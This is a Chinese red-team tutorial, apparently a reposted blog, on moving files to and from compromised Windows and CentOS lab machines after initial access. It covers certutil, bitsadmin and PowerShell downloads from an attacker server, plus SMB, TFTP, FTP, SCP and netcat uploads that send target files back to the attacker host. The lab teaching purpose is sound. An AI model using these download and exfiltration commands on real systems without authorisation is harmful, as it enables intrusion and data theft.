文件传输速查表:Windows 和 Linux

文件传输速查表:Windows 和 Linux

免责申明

本文章仅供网络安全相关学习与研究使用,旨在促进技术交流与安全知识普及,严禁将本文内容及相关工具用于未授权的渗透测试或任何违法活动。

重要声明:
由于传播、使用本文章所提供的信息、工具或方法所产生的任何直接或间接后果及损失,均由使用者本人承担,本文作者及发布平台对此不负任何责任。请务必遵守相关法律法规,确保在合法合规范围内进行测试和研究。一旦因不当使用引发任何后果,责任自负。

如发现本文章内容存在侵权问题,请及时联系我们,我们将立即处理并致歉。感谢您的理解与支持!

提示:
文中提及的所有工具及技术,请务必在独立、安全的环境中进行测试,以确保安全性及稳定性。

声明目的:
网络安全是双刃剑,合法合规是基础,请以正当方式使用技术,共同维护健康、安全的网络环境。

在红蓝对抗过程中,文件传输是后渗透场景中的关键步骤。文件传输有多种方法,在本文中我们将逐一介绍。

目录

  • 实验环境配置
  • 使用 wget 进行文件传输
  • 使用 curl 进行文件传输
  • 使用 certutil 进行文件传输
  • 使用 bitsadmin 进行文件传输
  • 使用 PowerShell 进行文件传输
  • 使用 SMB 服务器进行文件传输
  • 使用 SCP 进行文件传输
  • 使用 TFTP 进行文件传输
  • 使用 FTP 传输文件
  • 设置文件传输服务器的不同方法
  • 使用 Netcat 进行文件传输
  • 结论

实验环境配置

在这里,我们进行行文件传输,假设我们已经拿到了目标机器,且我们拥有初始 shell 访问权限。

  • 攻击者机器:Kali Linux(192.168.202.130)
  • 目标机器1:Windows 10(192.168.202.128)
  • 目标机器 2:Centos(192.168.202.129)

在攻击者的机器Kali 中,我们将设置一个updog服务器。它是 Python 的SimpleHTTPServer的替代品。它对于需要轻量级、快速部署的 HTTP 服务器的场景很有用。

要安装服务器,我们将执行以下命令:

pip3 install updog

image-20250106102934122

安装完成后,我们可以使用以下命令在80端口运行服务器:

updog -p 80

image-20250106103030366

使用wget进行文件传输

要传输文件,我们可以使用wget命令。wget是一个强大的命令,可以从网络下载文件。需要注意的是,在 Windows 中使用 wget 进行文件传输时,我们需要提及-o ( -OutFile) 参数才能保存文件。如果不使用参数-o,则只会将其作为对象(即WebResponseObject)返回。Windows 中 wget 的命令是:

powershell wget http://192.168.202.130/safefox.txt -o safefox.txt
dir
type safefox.txt

image-20250106103919923

使用Curl进行文件传输

Curl 是一个强大的命令行工具,可用于使用各种网络协议传输文件。以下是传输文件的命令:

curl http://192.168.202.130/safefox.txt -o safefox.txt

image-20250106104123654

使用certutil进行文件传输

certutil是 Windows 操作系统附带的命令行实用程序,用于管理证书和加密元素。要使用 certutil 传输文件,可以使用以下命令:

certutil -urlcache -f http://192.168.202.130/safefox.txt safefox.txt

image-20250106104213787

certutil 中的-split选项用于将大文件分割成较小的段以执行文件传输。

certutil -urlcache -split -f http://192.168.202.130/safefox.txt safefox.txt

image-20250106104345261

使用Bitsadmin进行文件传输

Bitsadmin是一个命令行实用程序,用于处理 Windows 中的后台智能传输服务 (BITS) 任务。它有助于执行不同的文件传输操作,包括下载和上传文件。文件传输的命令是:

bitsadmin /transfer job http://192.168.202.130/safefox.txt C:\Users\Public\safefox.txt

bitsadmin

执行命令后可见文件传输成功。

image-20250106105204029

使用 PowerShell 进行文件传输

可以通过运行以下命令直接使用 PowerShell 执行文件传输:

powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.202.130/safefox.txt', 'safefox.txt')

image-20250106105320039

使用 SMB 服务器进行文件传输

SMB 是一种用于通信的协议,用于在网络内提供对文件、端口等的共享访问。为了启用它,我们将使用kali linux 中的impacket-smbserver脚本来共享文件。这里我们将共享目录名称指定为share,这里 share 的意义在于它将文件的长路径转换为单个共享目录。在这里,我们可以将目录的完整路径或pwd作为参数,以便它采用当前目录路径。

impacket-smbserver share $(pwd) -smb2support

image-20250108135745974

设置完成后,我们可以在Windows机器上执行以下命令从共享文件夹复制文件。

copy \\192.168.202.130\share\safefox.txt

image-20250106105715850

copy safefox.txt \\192.168.202.130\share\safefox.txt

image-20250106110217290

image-20250106110321626

为了从另一台 Linux 机器(如 Centos)传输文件,我们可以使用smbclient工具连接共享文件夹,在登录后,我们可以分别使用 put 和 get 命令直接上传和下载文件。

smbclient -L 192.168.202.130
smbclient "\\\\192.168.202.130\share"
ls
get safefox.txt
put data.txt

image-20250106112358371

使用 SCP 进行文件传输

SCP(安全复制协议)是一种在本地系统和远程服务器之间或两个远程服务器之间安全传输文件的方法。它通过SSH(Secure Shell)协议运行,该协议可确保在可能不安全的网络上建立安全连接。它具有跨平台使用的优势,因此 Linux 和 Windows 都支持它。

要将文件从 Windows 复制到 kali,我们将使用以下命令:

scp safefox.txt kali@192.168.202.130:/tmp

image-20250106113152220

image-20250106113235436

要将文件从 kali linux 传输到 windows 机器,我们将使用以下命令:

scp safefox.txt raj@192.168.202.128:/C:/Temp

image-20250106113909292

image-20250106114006797

使用 TFTP 进行文件传输

TFTP(简单文件传输协议)是一种基本的、简单的网络文件传输协议。它通过 UDP 而不是 TCP 运行,这种选择有助于保持协议的轻量性,但意味着它不提供 TCP 提供的可靠性和错误检查。它在 UDP 端口 69 上运行。

image-20250106114510257

要将文件从 kali linux 传输到 windows 机器,我们将在Metasploit框架内使用以下命令:

msfconsole
use auxiliary/server/tftp
set srvhost 192.168.202.130
set tftproot /root/raj
run

image-20250106114225261

要下载文件,我们将在 Windows 机器上运行以下命令:

tftp -i 192.168.202.130 GET safefox.txt

image-20250106114851494

使用 FTP 进行文件传输

FTP(文件传输协议)是一种历史悠久且广泛使用的协议,用于通过网络传输文件。它使用户能够上传、下载和管理远程服务器上的文件。要启用 FTP 服务,我们将使用 Metasploit 框架。需要注意的是,我们在这里保留对服务的身份验证,而不是保留匿名登录。

以下是命令:

use auxiliary/server/ftp
set srvhost 192.168.202.130
set ftproot /root/test
set ftpuser safefox
set ftppass 123
run

image-20250106115332009

服务器启动后,登录FTP服务器验证后即可下载文件。

ftp 192.168.202.130
dir
get safefox.txt

image-20250106122929880

我们还可以使用 pyftpdlib 来使用 python FTP 服务器。它是一个 python 库,可以帮助我们在机器上设置 FTP 服务器。在这里我们将使用它在 kali 机器上设置 FTP 服务器。

首先,我们将使用 pip3 开始安装。

pip3 install pyftpdlib

image-20250106123030299

安装完成后,我们可以通过以下命令使用身份验证启动FTP服务器:

python3 -m pyftpdlib -w -p 21 -u ignite -P 123

image-20250106123510801

服务器启动后,我们可以从 Windows 计算机验证 FTP 服务器的身份并下载文件。要上传文件,我们将使用 put 命令;要下载文件,我们将使用 get 命令。

ftp 192.168.202.130
get kali_data.txt
put data_ftp.txt

image-20250106123359386

要设置用于匿名登录的 FTP 服务器,我们将运行相同的命令,但不需要用户名和密码。

python3 -m pyftpdlib -w -p 21

image-20250106123557011

一旦服务器启用匿名登录,我们就可以执行它并查看文件。

ftp 192.168.202.130
ls

image-20250106123820966

设置文件传输服务器的不同方法

为了执行文件传输,除了使用updog之外,我们还需要设置一个服务器。

要使用PHP设置服务器,我们可以使用以下命令:

php -S 0.0.0.0:8081

image-20250106123859348

image-20250106124052925

要使用python2设置服务器,我们可以使用以下命令:

python2 -m SimpleHTTPServer 80

image-20250106124129481

要使用python3设置服务器,我们可以使用以下命令:

python3 -m http.server 8000

image-20250106124154044

使用 Netcat 进行文件传输

Netcat,通常称为nc,是一种多功能网络工具,旨在通过 TCP 或 UDP 读取和写入网络连接。Netcat 可以通过建立简单的客户端-服务器设置来促进文件传输。

要从 Centos机器传输 kali 机器中的文件,我们可以在 kali 中使用以下命令:

nc -lvp 5555 > file.txt

image-20250106124316177

现在我们可以在Centos中运行以下命令将文件发送到kali机器:

ls
nc 192.168.202.130 5555 < file.txt

image-20250106124718565

image-20250106124800157

类似地,我们也可以在 kali linux 中从 windows 机器接收文件。但是,需要注意的是,目标 windows 机器应该有 nc.exe 二进制文件才能使此方法有效。

以下是我们需要在 Windows 机器上运行的命令:

nc.exe 192.168.202.130 5555 < data.txt

image-20250106125534677

为了在 kali 机器中接收文件,我们将运行以下命令:

nc -lvp 5555 > data.txt
cat data.txt

image-20250106125844242

结论

通过实验,我们已经看到,有多种方法可以将文件从我们的机器传输到目标系统,反之亦然。使用适当的工具进行文件传输取决于个人选择和现实情况。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/950770.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于SpringBoot+Vue的“有光”摄影分享网站系统

基于SpringBootVue的“有光”摄影分享网站系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末附源码下载链接&#x1f345…

课题推荐——基于GPS的无人机自主着陆系统设计

关于“基于GPS的无人机自主着陆系统设计”的详细展开&#xff0c;包括项目背景、具体内容、实施步骤和创新点。如需帮助&#xff0c;或有导航、定位滤波相关的代码定制需求&#xff0c;请点击文末卡片联系作者 文章目录 项目背景具体内容实施步骤相关例程MATLAB例程python例程 …

腾讯云AI代码助手编程挑战赛-凯撒密码解码编码器

作品简介 在CTFer选手比赛做crypto的题目时&#xff0c;一些题目需要自己去解密&#xff0c;但是解密的工具大部分在线上&#xff0c;而在比赛过程中大部分又是无网环境&#xff0c;所以根据要求做了这个工具 技术架构 python语言的tk库来完成的GUI页面设计&#xff0c;通过…

《机器学习》集成学习之随机森林

目录 一、集成学习 1、简介 2、集成学习的代表 3、XGBoost和随机森林的对比 相同点&#xff1a; 不同点&#xff1a; 二、Bagging之随机森林 1、简介 2、随机森林的核心思想 3、随机森林生成步骤 4、随机森林的优点 5、随机森林的缺点 三、随机森林的代码实现 1、…

四、VSCODE 使用GIT插件

VSCODE 使用GIT插件 一下载git插件与git Graph插件二、git插件使用三、文件提交到远程仓库四、git Graph插件 一下载git插件与git Graph插件 二、git插件使用 git插件一般VSCode自带了git&#xff0c;就是左边栏目的图标 在下载git软件后vscode的git插件会自动识别当前项目 …

JS进阶--JS听到了不灭的回响

作用域 作用域&#xff08;scope&#xff09;规定了变量能够被访问的“范围”&#xff0c;离开了这个“范围”变量便不能被访问 作用域分为局部和全局 局部作用域 局部作用域分为函数和块 那 什么是块作用域呢&#xff1f; 在 JavaScript 中使用 { } 包裹的代码称为代码块…

《自动驾驶与机器人中的SLAM技术》ch1:自动驾驶

目录 1.1 自动驾驶技术 1.2 自动驾驶中的定位与地图 1.1 自动驾驶技术 1.2 自动驾驶中的定位与地图 L2 在技术实现上会更倾向于实时感知&#xff0c;乃至可以使用感知结果直接构建鸟瞰图&#xff08;bird eye view, BEV&#xff09;&#xff0c;而 L4 则依赖离线地图。 高精地…

【合作原创】使用Termux搭建可以使用的生产力环境(九)

前言 在上一篇【合作原创】使用Termux搭建可以使用的生产力环境&#xff08;八&#xff09;-CSDN博客中我们讲到了如何安装IDEA社区版&#xff0c;并在Termux中安装VNC服务器&#xff0c;在proot-distro的Debian中启动xfce桌面&#xff0c;并通过这个方式解决了IDEA社区版中无…

生成模型:变分自编码器-VAE

1.基本概念 1.1 概率 这里有&#xff1a; x为真实图像&#xff0c;开源为数据集, 编码器将其编码为分布参数 x ^ \hat{x} x^为生成图像, 通过解码器获得 p ( x ) ^ \hat{p(x)} p(x)^​: 观测数据的分布, 即数据集所构成的经验分布 p r e a l ( x ) p_{real}(x) preal​(x): …

中国省级产业结构高级化及合理化数据测算(2000-2023年)

一、数据介绍 数据名称&#xff1a;中国省级产业结构高级化、泰尔指数 数据年份&#xff1a;2000-2023年 数据范围&#xff1a;31个省份 数据来源&#xff1a;中国统计年鉴、国家统计局 数据整理&#xff1a;内含原始版本、线性插值版本、ARIMA填补版本 数据说明&#xf…

高级数据库系统 复习提纲

第一章 数据库技术的回顾与发展 简述三代数据库的发展历史及其对应特点&#xff1a; 新型数据库在“数据模型”上的创新&#xff1a; 简述数据库和什么相关技术结合&#xff0c;产生了什么新型数据库&#xff1f; 1. 数据库和并行处理技术结合&#xff0c;产生“并行数据库”…

C++实现图书管理系统(Qt C++ GUI界面版)

前瞻 本项目基于【C】图书管理系统(完整版) 图书管理系统功能概览&#xff1a; 登录&#xff0c;注册学生,老师借书&#xff0c;查看自己当前借书情况&#xff0c;还书。管理员增加书&#xff0c;查看当前借阅情况&#xff0c;查看当前所有借阅人&#xff0c;图书信息。 效果…

【LeetCode: 560. 和为 K 的子数组 + 前缀和 + 哈希表】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

微信小程序实现登录注册

文章目录 1. 官方文档教程2. 注册实现3. 登录实现4. 关于作者其它项目视频教程介绍 1. 官方文档教程 https://developers.weixin.qq.com/miniprogram/dev/framework/路由跳转的几种方式&#xff1a; https://developers.weixin.qq.com/miniprogram/dev/api/route/wx.switchTab…

嵌入式系统 (2.嵌入式硬件系统基础)

2.嵌入式硬件系统基础 2.1嵌入式硬件系统的组成 嵌入式硬件系统以嵌入式微处理器为核心&#xff0c;主要由嵌入式微处理器、总线、存储器、输入/输出接口和设备组成。 嵌入式微处理器 嵌入式微处理器采用冯诺依曼结构或哈佛结构&#xff1a;前者指令和数据共享同一存储空间…

多模态大模型初探索:通过ollama部署多模态大模型

文章目录 前言模型下载 前言 今天和同事聊天&#xff0c;聊到多模态大模型&#xff0c;感觉可以作为2025年的一个新的探索方向。希望和大家一起学习&#xff0c;一起进步。 今天也是尝试了我能想到的最基本最快速地本地部署多模态大模型的方式&#xff0c;那便是使用ollama。…

【超详细】React SSR 服务端渲染实战

前言 这篇文章和大家一起来聊一聊 React SSR&#xff0c;本文更偏向于实战。你可以从中学到&#xff1a; 从 0 到 1 搭建 React SSR 服务端渲染需要注意什么 react 18 的流式渲染如何使用 文章如有误&#xff0c;欢迎指出&#xff0c;大家一起学习交流&#xff5e;。 &…

js策略模式

定义一组算法&#xff0c;将每个算法封装成一个独立的类&#xff0c;并使它们可以互相替换。策略模式使得算法的变化不会影响到使用算法的客户。 const priceProcessor {pre(originPrice) {if (originPrice > 100) {return originPrice - 20;}return originPrice * 0.9;}…

Python中的可变对象与不可变对象;Python中的六大标准数据类型哪些属于可变对象,哪些属于不可变对象

Python中的可变对象与不可变对象&#xff1b;Python中的六大标准数据类型哪些属于可变对象&#xff0c;哪些属于不可变对象 Python中的可变对象与不可变对象一、Python的六大标准数据类型1. 数字类型 (Number)2. 字符串 (String)3. 列表 (List)4. 元组 (Tuple)5. 集合 (Set)6. …

js状态模式

允许一个对象在其内部状态改变时改变它的行为。 状态模式将对象的状态封装成独立的类&#xff0c;并使它们可以互相转换 // 定义状态接口class State {constructor() {if (this.constructor State) {throw new Error(不能实例化抽象类);}}// 定义状态方法handle(context) {th…